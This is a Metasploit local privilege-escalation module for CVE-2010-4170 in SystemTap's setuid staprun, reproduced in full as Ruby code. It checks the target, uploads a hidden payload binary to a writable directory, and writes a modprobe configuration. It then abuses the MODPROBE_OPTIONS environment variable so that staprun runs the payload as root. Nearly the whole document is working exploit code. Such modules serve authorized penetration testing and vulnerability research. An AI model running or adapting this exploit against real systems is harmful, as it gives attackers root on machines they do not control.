SystemTap 1.3 – MODPROBE_OPTIONS Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'SystemTap MODPROBE_OPTIONS Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges by exploiting a vulnerability in the `staprun` executable included with SystemTap version 1.3. The `staprun` executable does not clear environment variables prior to executing `modprobe`, allowing an arbitrary configuration file to be specified in the `MODPROBE_OPTIONS` environment variable, resulting in arbitrary command execution with root privileges. This module has been tested successfully on: systemtap 1.2-1.fc13-i686 on Fedora 13 (i686); and systemtap 1.1-3.el5 on RHEL 5.5 (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # Discovery and exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2010-11-17', 'References' => [ ['BID', '44914'], ['CVE', '2010-4170'], ['EDB', '15620'], ['URL', 'https://securitytracker.com/id?1024754'], ['URL', 'https://access.redhat.com/security/cve/cve-2010-4170'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=653604'], ['URL', 'https://lists.fedoraproject.org/pipermail/package-announce/2010-November/051115.html'], ['URL', 'https://bugs.launchpad.net/bugs/677226'], ['URL', 'https://www.debian.org/security/2011/dsa-2348'] ], 'Platform' => ['linux'], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [['Auto', {}]], 'DefaultTarget' => 0)) register_options [ OptString.new('STAPRUN_PATH', [true, 'Path to staprun executable', '/usr/bin/staprun']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def staprun_path datastore['STAPRUN_PATH'] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data chmod path end def check # On some systems, staprun execution is restricted to stapusr group: # ---s--x---. 1 root stapusr 178488 Mar 28 2014 /usr/bin/staprun unless cmd_exec("test -x '#{staprun_path}' && echo true").include? 'true' vprint_error "#{staprun_path} is not executable" return CheckCode::Safe end vprint_good "#{staprun_path} is executable" unless setuid? staprun_path vprint_error "#{staprun_path} is not setuid" return CheckCode::Safe end vprint_good "#{staprun_path} is setuid" CheckCode::Detected end def exploit unless check == CheckCode::Detected unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end payload_name = ".#{rand_text_alphanumeric 10..15}" payload_path = "#{base_dir}/#{payload_name}" upload_and_chmodx payload_path, generate_payload_exe config_path = "#{base_dir}/#{payload_name}.conf" upload config_path, "install uprobes /bin/sh" print_status 'Executing payload...' res = cmd_exec "echo '#{payload_path}&' | MODPROBE_OPTIONS='-C #{config_path}' #{staprun_path} -u #{rand_text_alphanumeric 10..15}" vprint_line res end end |